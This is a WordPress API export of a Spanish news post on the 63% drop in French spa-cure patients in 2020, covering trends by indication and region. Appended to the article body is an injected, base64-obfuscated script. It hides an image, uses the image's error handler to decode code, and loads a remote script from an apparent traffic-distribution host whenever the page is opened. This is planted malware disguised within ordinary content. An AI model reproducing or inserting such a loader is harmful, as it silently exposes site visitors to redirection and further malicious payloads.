{"id":4387,"date":"2021-05-04T10:33:02","date_gmt":"2021-05-04T13:33:02","guid":{"rendered":"https:\/\/argentinatermal.com.ar\/?p=4387"},"modified":"2025-08-13T16:32:21","modified_gmt":"2025-08-13T19:32:21","slug":"franciatermalismo-un-63-menos-de-curistas-en-2020-por-la-crisis-sanitaria","status":"publish","type":"post","link":"https:\/\/argentinatermal.com.ar\/?p=4387","title":{"rendered":"Francia,Termalismo: un 63% menos de curistas en 2020 por la crisis sanitaria"},"content":{"rendered":"\n<p><strong>La pandemia COVID-19 ha sido desfavorable para todos los centros termales, especialmente los que est\u00e1n bajo control municipal.<\/strong><\/p>\n\n\n\n<p>Fuertemente marcada por la crisis de salud, la temporada t\u00e9rmica de 2020 se redujo casi a la mitad. Esto result\u00f3 en una\u00a0<a href=\"https:\/\/www.aquae-officiel.fr\/2020\/12\/04\/annee-noire-pour-le-thermalisme-francais\/\" target=\"_blank\" rel=\"noreferrer noopener\">ca\u00edda de casi el 63% en el n\u00famero de curistas contratados.<\/a>\u00a0No obstante, deben tenerse en cuenta las interrupciones de la estancia causadas por los cierres administrativos. As\u00ed, en el equivalente a paquetes enteros, la disminuci\u00f3n de la actividad asciende a m\u00e1s del 67%.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Disminuci\u00f3n de la reumatolog\u00eda<\/h2>\n\n\n\n<p>En cuanto a las orientaciones, la tendencia al alza experimentada por la reumatolog\u00eda como orientaci\u00f3n principal se ha ralentizado. Las v\u00edas respiratorias tambi\u00e9n experimentaron una disminuci\u00f3n en la asistencia, probablemente debido a la relaci\u00f3n entre las patolog\u00edas indicadas y la infecci\u00f3n por coronavirus. Por otro lado, las enfermedades digestivas han progresado, aparentemente debido a la&nbsp;<a href=\"https:\/\/www.aquae-officiel.fr\/2019\/12\/02\/retour-des-cures-a-brides-les-bains-en-2020\/\" target=\"_blank\" rel=\"noreferrer noopener\">reanudaci\u00f3n de curas en Brides-les-Bains<\/a>&nbsp;(73). Al mismo tiempo, el seguimiento de una cura de doble orientaci\u00f3n continu\u00f3 creciendo del 32% al 33,8%. La temporada tambi\u00e9n marca el final del movimiento hacia abajo para las curas infantiles.<\/p>\n\n\n\n<p>En t\u00e9rminos de distribuci\u00f3n geogr\u00e1fica, el tr\u00edo l\u00edder sigue siendo el mismo. Occitanie conserva su lugar como la regi\u00f3n balneario l\u00edder, aunque el primer escal\u00f3n del podio en t\u00e9rminos de establecimientos termales ha pasado de Balaruc-les-Bains (34) a Dax (40). Nueva Aquitania, bastante estable, sigue en segundo lugar, pasando del 25,8 al 25,84% de los curistas contratados. En cuanto a auvernia-R\u00f3dano-Alpes, hay cierto impulso: la regi\u00f3n, que ten\u00eda m\u00e1s del 20% de los curistas en 2019, ha superado el 23% en 2020. Un resurgimiento explicado en parte por la reapertura de los ba\u00f1os de Brides-les-Bains. Dos regiones han experimentado una disminuci\u00f3n esperada, a saber, Provenza-Alpes-Costa Azul, cuyos centros tur\u00edsticos ofrecen la orientaci\u00f3n de Las V\u00edas Respiratorias; y el Gran Oriente, particularmente afectado por la infecci\u00f3n por coronavirus.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Un rev\u00e9s menor para las estaciones m\u00e1s peque\u00f1as<\/h2>\n\n\n\n<p>El an\u00e1lisis del n\u00famero de visitantes tambi\u00e9n muestra que la disminuci\u00f3n de la actividad es menor para los peque\u00f1os spas. Las estaciones que recibieron entre 1.000 y 1.500 curadores registraron una disminuci\u00f3n de alrededor del 40%, mientras que las que tienen m\u00e1s de 10.000 curadores vieron caer su asistencia en m\u00e1s de un 70%. El deseo de evitar lugares con una gran multitud podr\u00eda ser responsable.<br>Del mismo modo, los centros privados han capeado la crisis mejor que los de la gesti\u00f3n p\u00fablica y la pertenencia a un grupo t\u00e9rmico ha sido beneficioso.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><a href=\"https:\/\/www.aquae-officiel.fr\/2021\/02\/24\/thermalisme-63-pour-cent-de-curistes-en-moins-en-2020-en-raison-de-la-crise-sanitaire\/\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/03\/cropped-LOGO-AQUAE.png\" alt=\"\" class=\"wp-image-4320\" width=\"252\" height=\"78\" srcset=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/03\/cropped-LOGO-AQUAE.png 487w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/03\/cropped-LOGO-AQUAE-300x92.png 300w\" sizes=\"(max-width: 252px) 100vw, 252px\" \/><\/a><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>La pandemia COVID-19 ha sido desfavorable para todos los centros termales, especialmente los que est\u00e1n bajo control municipal. Fuertemente marcada por la crisis de salud, la temporada t\u00e9rmica de 2020 se redujo casi a la mitad. Esto result\u00f3 en una\u00a0ca\u00edda de casi el 63% en el n\u00famero de curistas contratados.\u00a0No obstante, deben tenerse en cuenta [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":4388,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,14],"tags":[],"class_list":["post-4387","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-internacionales","category-turismo-salud"],"_links":{"self":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/4387","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4387"}],"version-history":[{"count":3,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/4387\/revisions"}],"predecessor-version":[{"id":10838,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/4387\/revisions\/10838"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/media\/4388"}],"wp:attachment":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4387"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4387"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4387"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}